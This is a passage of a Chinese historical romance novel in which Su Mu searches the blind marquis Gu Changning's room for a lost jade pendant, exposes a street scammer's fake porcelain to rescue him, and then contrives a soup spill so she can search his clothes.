“鄙人姓沈,若是公子有疑,日后每三日我前来一次复诊,直至夫人安好可好?” 她说这话确有私心,明面上是为安谢辞桉之心,但实际上,她若是借此能查一查宰相器库,那也未尝不可。 抬眸,她瞧见谢辞桉脸色一滞,但很快又恢复和煦神情:“蔺州倒是少有沈姓人士,如此便有劳沈姑娘了。” 谢辞桉的反应倒也是苏木所希望瞧见的,她抿嘴一笑,最后回礼:“那便回见。” 语罢,苏木转身而去,院中恰巧遇见正煎药的婢女,便由着她领着去了管家处,取了银钱。 - 出了门,瞧着日头已接近正中,这时辰,瞧着怕是已至辰时,估摸着时间所剩无多,苏木疾步绕远宰相府后才运轻功回府。 她将银钱交给影儿,并仔细嘱咐了客栈所在位置,护送影儿自后门离开后,苏木才转至东苑。 正值东廊拐角,听到些声响后苏木侧身躲于墙后。 听着脚步声渐远,苏木这才微微探头,远处回廊瞧见一群人乌泱泱,稍有错落时,身前梅花又遮了眼,苏木往前再走了几步,竟瞧见顾长宁的背影。 他今日只着一袭黑色暗纹棉袍,瞧着倒是厚实暖和,束发冲冠,一贯的精神气。 日头好就不披大氅了,做过将军的身子骨是比普通人好。 苏木撇嘴,目送顾长宁真真儿地离去后才绕过众人,朝主屋靠去。 这主屋,其实有没有顾长宁在里面,倒也没什么区别,她记得她来侯府这么些日子,她也就统共来了主屋不过三回,两回都和那死瞎子闹得很是不快,唯独这一次,屋中没人,这摆设都看着典雅亲切许多。 这次,苏木才仔细打量着顾长宁屋中摆件。 屋中摆件陈设不多,几乎可以说是除了必要之物,没有多余之物。 进门便可瞧见顾长宁长坐此处的一檀木长案,案上有一玄色花瓶,瓶中无物瓶上花纹倒像是裂痕般罗列,叫人看着不算舒服:再看左边,靠窗边又置放了一书案,眼睛虽瞧不见,案上书放的倒是不少;右边便是简单衣橱、屏风以及一架梨床。墙壁皆为玄色,整个屋子都透露些压抑之感。 唯一透着白净的,倒是这地上月白色的氍毹。 这倒也符合顾长宁,既然瞧不见,屋中陈设竟为玄色也不为过,脚下所踩皆为白色亦无大碍。 苏木对着木案朝里望去,最终还是选择先从远处的册架找起。架子下面两层易摸到之处皆为用卷,想来也是便于顾长宁所取而专门往下所移。 上面倒是放置了不少木色小盒。 苏木动作轻柔,一个一个揭开,又小心个个放回,其中皆没有她所要找之物,想及顾长宁不便,也许不会将玉佩放置太高之处,苏木又转而向他床榻而去。 但让苏木意想不到的是,无论是床榻之下还是床角,甚至是枕头底下极易藏物之地也皆无物。 苏木竟快要怀疑自己,究竟是为何?难道不是顾长宁所捡? 可她昨晚趁着夜色悄悄前往过器库,也并未发现玉佩踪迹。 心下怀疑,苏木手中动作却未停,她仔细回想昨晚,她隐约能够听到在自己飞身之时听到地面响起清脆一声,定当是玉佩落入器库无误。 确信自己记忆无误,苏木再次专心低头查找。 可案前铜箱、装书箧箱,大大小小各类箱子均未有。 苏木找的仔细,耳畔却突然传来沉闷砸地之声,她警敏地循声望去,却见一瓷匣子落地,再看始作俑者——一只狸猫立于案前。 苏木有些恼意,尽觉这猫添乱,怕它再闹出什么动静来,又从窗中缝隙所瞧在外下人无人听到其声,于是在院中无人后才上前将猫抱起从窗外掷去。 好在窗子不高,狸猫也算听话,扔下后便跳跃着自己溜走了。 回到刚刚那处,苏木捡起落地瓷匣子,匣子已开,里面放着一只光滑透亮的玉兰簪子。 苏木倒是觉得稀奇,她大小箱子翻了这么久,什么东西都见过,就是没见到女孩子所用之物,却在此时见到了一只白玉簪子,簪子其下还挂着几颗简单点缀玉石,瞧着也定不是男子所用之物。 她小心放回,许是有些许紧张,未发现瓷匣一角有破裂一角…… 苏木这才转至刚刚所查之所,还余下两屉未查,苏木小心上前,步履轻缓。 最终,苏木是真的不知还有何处未翻,她环顾四周,几乎每一处她都已查探。 她只得安慰自身:也许是顾长宁随身携带也未可知。 这样想着,苏木正要出门,却见外面下人一拨又一拨,未见人有散去之意,苏木为保周全,将里屋挂在架子之上顾长宁那沉重的大氅揽下,放置臂间后,苏木这才缓缓开门。 还未出门,却闻一声。 “是谁?!” 22-30 第22章 苏木今日被吓已不知几回, 这次倒是做足了些许准备,虽心中还是一凛, 但比之早上却好了很多。 她从容不迫关上房门,侧身转头瞧着叫住他的人。 凌风怀里抱着些卷轴,瞧着刚从东苑回廊转角而来,脸上被冷风吹的有些许红。 在苏木看来,她总觉得,凌风要比扬风好说话的多,或许是见得少给了她这种错觉, 但事实上也却是如此, 扬风性子更像顾长宁多一点, 而凌风则瞧着有着自己的个性。 苏木温声:“侯爷今日出门未披大氅, 我恰要去阆华街,一道给他捎上。” 她语气不慌, 觉着自己所说也并无任何不妥, 抬眼观察凌风表情时也未看出什么怀疑之色。 苏木拱手作礼,颦着步子离开- 入了桃月, 天时已逐渐有些回暖。 苏木出了府, 竟感受到手中沉重的大氅倒有也压腕, 她思忖,也许顾长宁不拿他这大氅是对的。 怕错过了约定,苏木步履匆匆, 尽量抄着小道,显得自己像是赶不及一般。 苏木前半程还运轻功,后半程为营造迟来事出有因便纯用双腿,本是一个时辰才能到的阆华街,苏木硬是半刻钟便赶往那。 停在街门, 瞧见那里坊门上面挂着龙飞凤舞的阆华街三个字,苏木这才往四周瞧去。 她昨晚实则是随意说的名字,她只记得幼时和谢辞桉老是在大街上乱窜,有一次他俩一同来阆华街,嘴馋油糍粑便俩人结伴前往,结果最后都被自家娘亲揪着耳朵领回家。 八年之久,这阆华街她倒也是许久未来了。 但这条街却还如往常一般热闹,各种小贩吃食点心,琳琅满目。 苏木瞧着倒是有些嘴馋,毕竟每每出来一趟不是去城西玉春楼办任务便是有其他之事挟裹,这些儿时小吃,她在蔺州也是极为怀念的。 但眼下,最要紧的还是得找到顾长宁,她昨晚说是阆华街,但是这条街这么长,她也不知顾长宁的轿子会停在何处。 苏木只好边往前走边左右查看,骄阳正值正上方,酷热倒是让苏木脸颊落下了一滴汗。 走的些许有点累,苏木正打算拉开旁边小贩木凳歇息小会,一些吵扰声传入耳中,苏木有些不悦地朝前方望去,不远处众人围坐一团,不知因何时吵吵嚷嚷,让人心烦。 苏木未坐,心中莫名有着不好的预感,于是疾步朝前走去,努力地扒开重重人群。 围观者众多,苏木拥挤于人潮之中,眼看要见围中之人事,却被突来一大汉拦腰站于身旁,腰下传来些异样感觉,苏木顺着侧面往下摸去,反手扣住那大汉,清寒的眸子泛着些冷光。 她连说一句话都嫌废口舌,利腕一转,那大汉也未曾想到自己能遇上硬茬,不敢吭声只默默吃痛。 苏木甩了一记冷眼,再次撇开众人,终于才瞧见了围观群众的主角。 顾长宁着那一袭黑色暗纹棉袍,挺立地伫于大道中央,那双粗粝又似松木一般狭长的十指紧扣着手杖,威严不被一旁泼辣妇人与孩童所影响,他的四周并无下人,也无扬风跟随,见此状,苏木倒是不愿上前,想要看看好戏。 “这位公子,你莫不是骗我们妇孺,你那小厮是不是去取银钱去了,若你今日拿不出补偿来,今日便别想走了!” 倒于顾长宁身下妇人身着粗布麻衣,头上还围着个灰色麻布绳,瞧着便是平常做些苦力谋生的贫农,她怀中所抱孩童,瞧着四岁左右,躺于那妇人怀中,若是仔细瞧,也能瞧见那额头尚有意思淤青所在。 地上还有着些瓷瓶碎片。 顾长宁未有多言,眸中无光聚焦,瞧着很是涣散。 苏木还不甚了解眼下状况,也未直接上前。但她却觉得,那妇人有些眼熟。 思绪飞转,苏木想起那妇人面容曾在何时见过,再瞧着此景,顾长宁怕是遇见了老赖讹人。 那妇人瞧他不言,更是嚣张,趴在地上朝着周围众人那是几个大拜,周围人纷纷后退,生怕自己也被殃及。 众人皆是看热闹,无一人上前。 这下怕是都不止以为眼前人是瞎子,恐怕顾长宁都快被当成哑巴了。 苏木环抱双手,就那样冷眼瞧着面对她而立,却眼中无她之人。 “这都过去快半个时辰了,你那小厮究竟是来还是不来,你冲撞了我家祖传瓷器,这瓷器竟还装上我家孩儿,眼下若是我儿有个好歹,今日便跟着我去趟衙门。” 那妇人扭着笨重身子起来,那孩童躺在地上也未随他娘起身,只捂着自己额前,瞧着倒是一副头痛欲裂的模样。 顾长宁脸上挂着冷淡,好似此事与他无关一般,但从话中,苏木可得知些关键信息,也就是说顾长宁在这大街上撞了人,为了赔偿,扬风或是其他小厮前去侯府取银钱。 但这家财万贯的侯府,出门都不带银钱? 日头正盛,浅金色日光斜斜泼落下来,恰巧都落于他脸颊之上。 面色一明与脖下一暗交相辉应,高挺眉骨下的那张脸叫人琢磨不透。 “此人莫不是是个瞎子,你也不必这样为难人家吧!” “小娘子,撞得不是你家中名贵物件,撞伤的也不是你家孩童,你自然大方。” “那你想如何,那郎君下人不是说好去去就回吗,你这一时片刻都等不及?” “这位娘子如何说话呢,莫不是被色相迷昏了头,如今理亏的可不是我,那我便是想如何便如何,你能奈我何?” 旁里一娇俏女子似打抱不平,和那无理妇人倒是吵了几句嘴,但对比起那妇人的气势,一小姑娘如何争辩的过,这不很快便落了下风。 余下众人皆持己见,倒也有些人嚷着送去官府或未尝不可。 “孩子都还疼着呢,顾什么赔偿,何不先去医馆?” “是啊,眼下最要紧的那是你儿才对。” “我们在这给你守着,不信他能跑了。” “算了,报官吧!” …… 吵吵嚷嚷,苏木听着很是心烦。 抬眼望去那众人所议对象,面不改色,倒是自得。 此起彼伏的怂恿声如浪潮般席卷,这话听在那妇人耳中倒像是赞同之语,苏木瞥见那妇人露出不易察觉的笑意,顺手一把抓住了顾长宁那熨烫平整的锦袍。 “走,跟我去见官。” 只见妇人跨步上前一把拉扯住顾长宁手腕,奔着身子就要往众人所堵里圈外走,被拉扯之人虽未料突如其来之力,但多少也是习武之人,伫在原地,竟只挪半分。 妇人瞧着身后之人纹丝不动,愣是眉毛眼睛皱成一堆地使劲,但顾长宁仍旧未有反应。 苏木瞧着竟有些失语,顾长宁要是能说半句话是会死吗,还是说他那嘴就那么金贵,就算被人诬陷也罢被人嘲笑也罢,他皆不还嘴? 妇人倒是没想到会是如此场面,虽有些难堪之色手却不肯松,顾长宁袖口已被扯的怪样,妇人朝地上孩童示意,捂额之童立即领会,那洒在地上的所谓“名贵瓷器”已无人问津,二人一前一后共同推搡着顾长宁往前,中间之人终有些不耐,蹙眉时左袖一甩,那孩童竟顺势而倒。 这下在众人眼中,那便是无罪也变有罪。 妇人瞧着一惊,破口大骂:“你竟还敢摔我儿!你这徒有虚表,行事却如此腌臢不堪的黑心肝!” 妇人已恼怒,看着张牙舞抓,只见她张开似熊一般两爪就朝人扑去,拄杖之人的手杖被一把夺走,扔落在地时还发出些清脆响声。 再然,顾长宁似还未反应过来这猛烈地一拽,一时踉跄绊步,瞧着就如摇摆之竹木,顷刻便可倒地。 苏木瞧他眉目阴鸷,微张起唇,下颌也紧绷起来,她知顾长宁已不悦至极点,或许一掌便能劈飞舞爪之人。 她找准时机,一跃而入,顷刻横跨二人之间,两手握紧那妇人手爪,手肘同时向里一翻,妇人面露狰狞,痛呼住手。 苏木冷哼一声,只用余力一推,那妇人往后退了好几步。 同时,苏木也被余力推的往后急退半步。 耳边寂静无声,后背无意撞上一结识胸膛,温热在身后流转,苏木抬眸,愣愣一瞬,顷刻弹开。 意识到什么,她伸手欲接过身后不稳之人,指尖与粗粝沙指相触之时,对方一瞬回缩,面露疑惑,蹙眉不解。 苏木回神,抬眼瞧着头顶面容,轻昂颌首靠近,语气少有的轻柔:“是我。” 简短二字,也许眼前人并不能得知是谁,但此话一出之时,苏木瞧见他眸色虽一如往常的空洞,眉心却微微舒展。 知他分辨出眼前之人是谁,苏木这才转头瞧着那怒瞪向她的妇人。 “你是何人?” 妇人手揉腕处,面目可憎般询问。 苏木不屑一笑,冷霜般眼睛如利刃扫过瞪她之人:“你姑奶奶!” 苏木踢腿,脚下划出好看的弧度,地上手杖似顺衣诀而起,下一秒落入苏木手中。 隔着衣袖,苏木捏起顾长宁那锦衣手腕,牵引着他去感受到递给他的手杖,触碰到手帐拄手之处,蜷缩的指头舒展开来,宽广手掌再次将它握得严严实实。 第23章 今日出门, 顾长宁坐的是府中轿撵。 只是走到半路时,扬风话多的要命, 一直说着些他应该多出来走走之类的话,他嫌他吵,便命他回府去地牢审犯人。 但扬风所说其实并不无道理,自从眼受伤后,他出府甚少,除了几次大型的宫宴需得参加,他也只在去蔺州探望父亲旧部时出过门。 三年时间能冲淡很多。 那一年, 顾长宁身受重任, 以“定远将军”为名外出荒南以抗外敌, 外敌狡猾不辨荒南山势蜿蜒, 为一举剿敌,顾长宁带领将士连续三月常守潮湿山涧之中。 本以为山涧只剩残部, 却未料情报有误, 敌军掩人耳目,掠山中乡民为其开路, 暴雨之际夜袭于我军。 副将忧寡不敌众劝他离开, 可他身为首将, 又正值拥少年意气、目空四海之气焰,鳌斗两个昼夜,险胜。 我方援军到时气势更甚, 旧部养精蓄锐,他再次领军冲锋,大获全胜。 士气高涨,志得意满之时,顾长宁和将士们一同吃肉喝酒, 那时的他风光无限,仿佛山河尽在脚下,仿佛自己也可如父亲一般,护百姓安康。 回府后,长姐也受圣上所允前来祝贺,圣上更是封赏无数,朝堂之上下无不众口称赞。 但实则回京之时顾长宁双眼已有些模糊之迹,未发觉异常,他只以为自己太累,奔赴完宫宴后便匆匆回府。 休息一夜后,第二天完全变了样。 那时,他完全无法接受,他想上战杀敌之心无人可解,若不眼盲,他早已受命往北荒而去,兴许,能碰见他许久未归的父亲。 眼盲后,顾长宁性情大变,往常如鹰一般识人的双眼失去了光芒,因为不辨方向、不辨来人,不知黑白、他出府需得有人搀扶,取物需得有人递至手前,自己身侧无时无刻不有人跟着。 他觉得自己是个废物。 之前那少年将军,那驰骋白马脸带笑意,战甲上血迹未干就言拿酒来、和将士们谈笑风生眼底满是光的顾长宁,早就不见了踪影。 他早已习于手杖在侧,这至少能让他独自辨别方向。 下轿后,他言想自己走走,遣散众人回府,轿子停在道旁。 身后能听到仍有一名小厮跟至身后,顾长宁也不多言。 路中一马车疾驰而过,他被身旁一刹之风掀得往后退了几步,不知身后有人。 瓷器落地破碎之声、孩童苦恼之声、还有周围指指点点之声统统传入那早已变得更加灵敏之耳,他心知自己理亏,于是遣小厮拿出些银钱赔罪。 久久未听动静,再问,那小厮才吞吞吐吐道腰间细银袋子不知何时不见了踪影。 他未怒却想,或许他的确不适合出门。 未训斥小厮,只对身前黑暗中的破口身影淡言解释:“我回府取银。” 那妇人却似乎并不乐意,须得留下他才行,一旦顾长宁轻挪动半步,那妇人便会拦住他去路。 顾长宁向来不是受人威胁,也不是能随意被人拦了去路之人,但他看不清形势,小厮也似未见识过这等场面,他也只好留下,遣小厮取银。 阆华街离侯府需得一段距离,因此,顾长宁就这样被人拦于街上。 他的不屑争辩,在他人眼中,是无能盲人表现。 心中那股油然而生的怒意更甚,他不明这妇人为何不见好就收,已说会赔礼却仍要聚集众人对他进行各种猜疑,感受到衣袖也被人拽住,以他如今的性子,便是忍到了极限。 掌下已蓄力,若是那妇人再多使一分力,他也顾不得是谁理亏了。 只是下一瞬,脸庞拂过一阵风意,急步声停至身前,妇人失去跋扈之声,吃痛声音倒是传入他耳中。 他原以为是扬风。 直到那句“是我”出声,他一瞬便可得知是谁。 很奇怪,但莫名心安。 就如寒夜中一盏随风晃动的烛火,下一瞬火星便要炸开,此时一道温暖手掌小心护住烛火,灯芯也慢慢平息。 至成年,幼年有母少年有长姐护他在侧,不比闺中,都是飒爽女子,可直到母逝长姐嫁,这种熟悉的久违的被他人护至身后的感觉,让顾长宁有一瞬的失神。 大氅还耷拉于苏木手腕,刚刚和那妇人交缠时这沉重大氅有些影响自身发挥。 见顾长宁在身侧无碍,她掀起手中大氅,衣诀顺着暖阳画出一道白色的光线,玄色衣物落入顾长宁之身。 苏木手腕被顾长宁捏住,他眼底流露出些许不解,直到感受到脖颈出传来些毛茸茸的触感,他这才缓缓松开了手。 苏木冷然转身,瞧着那怒目圆睁的妇人。 “多少银钱,赔你。” 她的声音带着些不容置喙之意,围观众人瞧见中央多了一名女子,都带着八卦之意,却一时无声。 苏木知眼前二人不过是招摇撞骗,但她懒得与这些碰瓷之人纠缠,刚好身上也有些银子,若是几两碎银可解决之事,她倒也觉得轻便。 “姑娘好口气。” 那妇人本以为自己遇到了硬茬,已准备好继续与眼前人唇枪舌战,但听苏木如此爽快,于是放松了些警惕之意,还以为是因自己厉害而洋洋得意。 “这瓷器可是自祖上相传,已有百八十年的价值,你瞧着这这碎片,这可是青花缠枝莲纹瓷器。” 那妇人捡起地上一枚碎的不算太厉害的大片,递到苏木跟前:“我瞧着你家公子这身穿着打扮定非普通人家,也瞧得出这瓷器实乃民窑精品吧。” 苏木之前站得远,并未仔细瞧过瓷器,但现下仔细一看,竟能发现出些许端倪出来。 她母亲便是江南官窑坊的皇商户女,幼时也曾在母亲教导下了解过瓷器一二,再加上多年来劫富济贫,她早见过无数大小瓷器。 而眼下瓷器,一眼便可打假。 苏木耻笑出了声,冷眼盯着对方狡猾的眼睛,一把夺过那手中碎片:“民窑精品?” “你这瓷器,不过是仿制品,你当我等真是好糊弄之人。” 她这一开口,仿佛戳穿了虚假面具,妇人脸色有些不好看,却固执挣扎:“姑娘,你莫不是不想赔偿,难不成你家公子的小厮一直未来,便是要等你这人前来混淆视听的?” “我也不要你多了,一百两!” 那妇人开始有些偏题之意,周围人哪是能分清仿品之人,一听这话,虽觉一百两过于昂贵,但又觉人家毕竟祖传,于是皆被影响,又回想自己所见刚刚的确是眼前女子反手拧住妇人,倒觉得不无道理。 “姑娘,既是打碎别家珍贵之物,理应赔偿的,你如今可是想要逃避?” “对啊,上来不给银钱,却空口白牙说人东西是假的,这不是胡搅蛮缠嘛!” “我看啊,这人顾及和那瞎子是一伙儿的,就是不愿赔偿罢了。” “其实赔不赔早就看的出来,瞧着这两人所着乃是上等衣物,自然是官宦之人,这种事情怕是只能自认倒霉。” 嘈杂声蜂拥而至,能够传入苏木耳朵里清晰的却并不多,顾长宁站至身后,听的比她要清楚许多,可他未加干涉。 他明白苏木那信誓旦旦的声音就代表了她说这话的底气。 苏木虽知普通人家并不能详分真假瓷器,但人群中也不乏有些瞧着似官宦子弟,总会有人知她所言非假。 她举起手中瓷片,眼神却环视了众人一遭,语气凛凛:“你们可睁眼看仔细了,青花缠枝莲纹瓷器那是宏德年间的民窑精品,我们公子府上随处可见,这瓷应是胎质坚密,胎土也应当是白中泛青,釉面随岁月流逝而形成天然柔和光泽。” 苏木往前走了一步,将瓷片递到了一开始为顾长宁说话的娇俏女子,她知她是官宦之家,定然能看的明白:“可姑娘你瞧,这所谓的“青花缠枝莲纹瓷器”瞧着胎土呈白灰色,胎体比平常瓷器厚实许多,想必便是要模仿出真品的坚密之感,釉面光泽十分刺眼,倒像是上了一层烛蜡一般。” 她从容不迫,有理有据。 苏木瞧见,那姑娘开始有防备之意,见她上前来时还被身后婢女拦着往后退了几步,但那姑娘仔细随着苏木所说之话瞧去时,脸上倒有恍然大悟之色。 那姑娘抿唇带笑却并不扭捏,苏木手中瓷片被她接过后高高举起:“诸位,这姑娘所言并无虚假,这瓷片的确不是真品青花缠枝莲纹瓷器。” 她语声铮铮,倒不像苏木平日里所见的官宦女子,瞧着大方许多。 众人循声去瞧,还有几人想是家中富庶,一眼便瞧着真假,一时之间,众口一调:“这分明是假货!” “竟以假货招摇撞骗,且是对着一眼盲之人,当真没良心。” “还要一百两,怎么不去抢?!” 那姑娘帮着苏木说话,苏木自然也莞尔回礼,但那姑娘身后似婢女模样的随从却警惕看向苏木,声音虽小,但苏木不聋。 “小姐,我们得回去了,你怎么帮着这陌生女子说话呢?” 那姑娘也并未生气,转头亲拍搭在自己手腕上的婢女:“无碍的,恰我知道些瓷器其中门道,能帮到这姐姐也是件好事。” “可是……”那婢女还欲强调什么,那姑娘无奈笑着安慰:“没事了,眼下事情结束了,夫人的药已经取上了,我们快回吧。” 说到药,苏木才瞧见那女子手中提着一沓药袋,但见眼前这女子面色红润,眸色光彩,想来是替家里人抓药,苏木一笑:“姑娘家中可是有人患疾?在下恰会一些白术之术,若是姑娘以后需要,可来寻我。” 不好直接说出宣德候的府邸,她从衣袖掏出侯府出入令牌,也只仅那女子一人瞧见。 苏木本不是多管闲事之人,可瞧着眼前姑娘,总觉得十分亲切,莫名想要亲近。 女子本要转身离去,见苏木相问,于是礼貌点头:“多谢姑娘,不过府中夫人病已大好,现下我得离去了,有缘再见。” 女子转身,身影也很快消失在人群之中,苏木未多做停留,再次看向那妇人。 “珏乐——” 一声呼唤将苏木的思绪一下拉去了人群之外。 “哥哥,你怎么来了?” 是那姑娘的声音。 “在府中久未见你归……” 一低沉却温和的嗓音渐渐模糊。 对话声逐渐被离得更近的人群嘈杂声所掩盖,就像她记忆里的名字一般逐渐模糊。 苏木想要扒开人群去寻找那人。 可人群拥堵如水柱,她挣脱前去时,道上早已无身影—— 第24章 争论矛头瞬间指向那妇人, 凶煞妇人此刻才知自己的确遇到了硬茬,她面色露出些难堪, 几经转变,气势稍弱了。 她伸手,那孩童便已牵至她手。 苏木以为自己听恍惚了,虽有些失落,但还是不舍放弃,她拽起身后一男子:“你可知刚才出声那女子是何人?” 男子本来见她一会儿在道中一会儿又拨开人群就有些疑惑,但瞧着她不像坏人, 再加上刚才对于瓷器她能一下辨出真伪, 于是拱手示礼:“抱歉姑娘, 刚才那位姑娘在下也不知是何人。” 本身还有这些期待, 在听到不愿听到的回答,苏木脸上都多了几分惆怅, 但顺着人群而视去, 她也不能立刻抛下顾长宁而去寻一个还未分晓之人。 踌躇之下,苏木再次回到顾长宁身前。 此刻, 那妇人也正巧吹胡子瞪眼地瞧着她。 苏木心情不好, 不愿再多费口舌:“虽说你的瓷器是仿品, 但瓷器砸到你儿是真,给你十两银子,够你去好几次医馆了, 你瞧着如何。” 担心那妇人还想争辩,苏木下最后通牒:“前几日我曾见过你,若是你依旧不依不饶,那官府恐怕得委屈你走一趟了。” 前几日,苏木出门前, 去往玉春楼的路上便遇到过此人,她当时也是躺道上讹人钱财,但与苏木无关,她只匆匆瞥过一眼便离开,但如今她已讹上与她相关之人,她甚是不满。 欺负一个盲人,也挺卑鄙的。 苏木眼带寒霜,她知道,那妇人也已没了底气。 “好。” 那妇人答应的很是爽快,低头满是慈爱的抚摸着身下孩童的发髻。 再次抬眼时,苏木已从袋子中掏出十两碎银。 妇人少了刚才的焰气,此刻瞧着倒是与田间和蔼农妇相差无几。 苏木递过银钱,那妇人怕遇到假银,选出一块后在牙尖用力咬合,取下后顺着太阳望头仔细去瞧,发现确是真银后才放心。 众人明白被骗也纷纷咂舌,那妇人自是不愿再多做停留了,她抬眼时和苏木拱手示礼,轻声道了一句或许只有苏木能听见的多谢。 然后,便牵着那孩童自人潮散漫之际离开。 青石板路被日头晒得有些发烫,苏木感受到头顶也是一阵荒热,方才围拢的那些个人早已悠悠散去。 苏木转身再看向顾长宁时,他正微微侧头,似乎还想要听出些动静来,她瞧着他耳尖灵敏地上下动了动,伫在那处像生了根一般。 白瓷指尖垂落在手杖周遭,狐裘把他包裹的严严实实,暖阳倾斜时,绒毛也随风舞动,倒显得整个人温和了许多。 苏木踢起路边石子,那声音很是清脆,她看着顾长宁耳朵朝石子滚落的方向而去,突然觉得有些好笑。 没错,她就是故意逗他的。 刚才心中烦闷乌云顿时消散,苏木未言,直接往前走着。 回头,顾长宁仍旧杵在原地,蹙着眉分辨周遭的动静。 她挑眉,想着约他出来的目的,于是又侧身上前,手指触碰到他衣袖时,感受得到顾长宁排斥的将手臂往后撤了一毫。 苏木瘪嘴:“没事了,跟着我。” 她瞧见顾长宁依旧拧眉,但下颌已少了许多紧绷的戒备之感。 他需得手杖探路,因不辨苏木方向,手杖往前磕绊时一仗敲到了苏木的脚背之上。 虽说是探路,力气所用也不大,但毕竟是实心之木,苏木多少感受到些无伤大雅的痛意。 “顾长宁,我为你解围,你便是这么报答我的?” 苏木瞧见顾长宁的头又开始不自觉地微侧,他很快锁定声音来源,尽管无法与苏木视线对上。 顾长宁背挺得直直的,这一次倒是没再呛人,不假思索开口:“多谢。” 苏木走在前面,距离身后人不远,他的每一次小心探路,总会磕绊到苏木的衣裙,苏木无奈,只好与他并肩而走。 “今日,加上昨日,若你既是赔罪又是报答的话,不如今日吃食都由你结账如何。” 她睫毛扑闪,眼中没有语中所带期待,说这话时头往顾长宁侧肩所倒,气息拂过顾长宁分明的下颌,倒是有一种戏谑之感。 “随你。” 顾长宁感受到气息一刹便偏过头,说话习惯性言短,但眼下说完这句后又意识到什么,转而补充:“你付,回府后你可去找管家取银钱。” 有钱人是不是都是让人去管家处拿,不管是顾长宁,还是谢辞桉。 苏木觉得和眼前人说话甚无意思,恰好此时正停在一巷子口前,街角挂着的灯笼上写着“馄饨”二字,香气四溢,苏木迈开腿往街边小贩而去,顾长宁循声跟在身后。 她老远便瞧见了这家混沌店,早上匆忙,她并未好好吃过一食,恰现下刚好碰到儿时所喜之食物,倒是有些欣喜。 顾长宁正慢悠悠往这边走,路上一些行色匆匆之人也未能与他撞上,他走的极慢,凝着神,唇线紧抿,额边上的青筋让人所知,他在仔细地听着周边的动静。 斑驳光影透过路边槐树叶,近时能瞧见他脸上忽明忽暗的光斑,顾长宁脸上没什么表情,一阵暖风吹过他面孔时,发髻上的头发没有一丝反转,就如他那张疏离淡的面容。 苏木盯着他那张不苟言笑的脸,忽然伸手。 指尖触碰到他的衣角,也透过衣裳撞上了他的粗粝手腕。 还似以往,他又往回退了半步,那状态虽脸上未有表现,却犹如视苏木似瘟疫一般避之不及。 苏木瞧他这样,一下竟有些不服气,她上前一把拽过那手臂僵硬之人,不顾顾长宁口中要语不语的“你……” 苏木将他按在木椅上时还能感受到他那僵直的背,她拍拍桌子,声音很大:“作为感谢你请我吃一顿馄饨。” 虽不解,但顾长宁仍旧坐下,眉头几不可察的舒展。 “为何不去酒楼。” 顾长宁听到周围还有嬉笑孩童过街吵闹之声,于是很是不解,他将手杖立于桌前,拂了拂自己的衣袖。 面未露嫌弃之色,但行为却无不透露出这二字。 “两位客官,今日我们家馄饨是新鲜的很。” 店小二本在后厨忙着,见二人已入座,笑意盈盈地迎客。 店小二甩了甩肩前毛巾,毛巾边缘差点呼顾长宁脸上,苏木将顾长宁窘迫尽收眼底,憋着笑。 “两碗你们店的招牌。” 苏木瞧着旁桌之人的馄饨冒着热气,嘴里已有些馋意,也懒的在听人介绍都有哪些吃食。 店小二接了活儿便往离去,嘴上不停,朝着在砧板上老板娘模样的人传话:“老板娘,这儿两份招牌馄饨!” 吆喝声很大,苏木瞧见那老板应了声,转身投入忙碌之中。 眼前虽有人,但却瞧不见她,苏木坐的也还算自在,二人无言,和旁桌热闹之感完全不同。 不多时,馄饨便被端了上来,瓷碗里飘着几粒青葱,汤色也是十分清透,看着便是食欲大增,热气氤氲而上时,仿佛鲜美之味已入喉般。 但眼下,吃饭还不是第一要紧之事,苏木瞧着顾长宁的脸,又扫了眼桌上的调羹,心里已有了盘算。 她今日约他出来,也是这个道理。 苏木拿起调羹,汤勺拿在手中之时似无意滑落,勺子一瞬重重摔入碗中,本是想要溅起些汤渍在顾长宁身,她也好借此查探他身是否有她想找之物。 但苏木属实小瞧了热汤的威力,因着冲击太大,一般汤泼烫到苏木手中,她也是没想到,一瞬弹开时,汤碗滚落,沿着桌角落入顾长宁腿上。 虽是黑袍,但仍可见四下狼藉。 顾长宁听到了苏木所吓一声,本想询问,却没承想,下一个遭殃的就是自己。 他的脸可谓是刷的一下就黑了,滚烫地触感让顾长宁一瞬弹起,可他下意识地往身下瞧去时,却依旧一片黑暗。 他瞧不见眼前人,也瞧不见当下情况,这才是他最恼怒的地方。 “你烫到了?” “抱歉。” 二人声音相撞,同时开口却都没意料到。 顾长宁冷着声低头,用手在下摆胡乱整理了一番,像不经意地询问一般,但却全然没有其余怒意表现出来。 苏木倒是没想到,他会开口便是问她是否烫到了,她早就预想了将汤溅到顾长宁身上,也想好了顾长宁说不定能一手杖敲晕她。 却没想到顾长宁虽然脸上布满阴云,嘴上却先问的她。 有没有事她得看过自己的手背才知,苏木虽然有些讶异,但很快扔掉多余思考,仔细去查看自己的手背。 这汤刚从沸腾热锅中端出来,泼至手上,是有些威力所在的,苏木仔细端详手背,若是此刻不拿凉水冲洗,怕是得生泡留疤。 可这样,那不是错过了机会。 手背传来火辣之痛,苏木忍痛而平声:“不碍事。” 说完这话她便转至顾长宁身侧。 蹲下身,苏木抬起手为他扫去身下温热之物,一些面皮还沾染在他狐裘之上,苏木拿起桌边布巾,为他小心擦拭,动作时而麻利时而缓慢。 她顺势掀起大氅,腰间无玉佩,再往身侧擦拭,也无玉佩,再至胸膛,她动作放慢,额头抵着眼前人的下巴也浑然不知。 顾长宁看不见她,可突然下肢腰身被人胡乱摸着,他不自然的后退几步,身体僵直。 “别动” 见顾长宁往椅子旁移动,苏木刚摸着腰带的手瞬间抽离,于是开口。 这一声,真的让顾长宁突然忘了动。 袖下那双手逐渐攥紧,手背青筋凸起时,那衣角被攥出许多褶皱。 “你里面也溅到了,我给你擦擦。” 苏木动作迅速,毫未注意到身前人的反应,又抬手往顾长宁胸膛摸去。 眼瞧着就要掀开外衣查看,可刚看见雪白胸膛,此时早已有些消散的手背之痛再次火辣辣地烧起来。 “嘶——” 苏木吃痛,手中布巾落地,她的手下意识要一瞬弹回,但被一道有力手掌紧攥,她挣脱不得,另一只手掌还紧靠在眼前人的胸膛。 一时之间,她不知是手掌处传来的他人胸膛温热和身子僵直的感受更深,还是被攥住的手痛意更深。 “做什么。”顾长宁声音低哑,带着些沉沉的寒意,像是冬日的冷风一般,平常而又冷冽。 他攥着的力道不轻,苏木抬头,不小心撞上了头顶之人的下颌,一时之间,二人皆吃痛。 苏木实乃怕疼之人,她揉了揉额头,如哽在噎。 她嘟囔着抱歉,抬眼时看见了顾长宁面冷不耐,可无色双眸中多了几分稍纵即逝的慌乱。 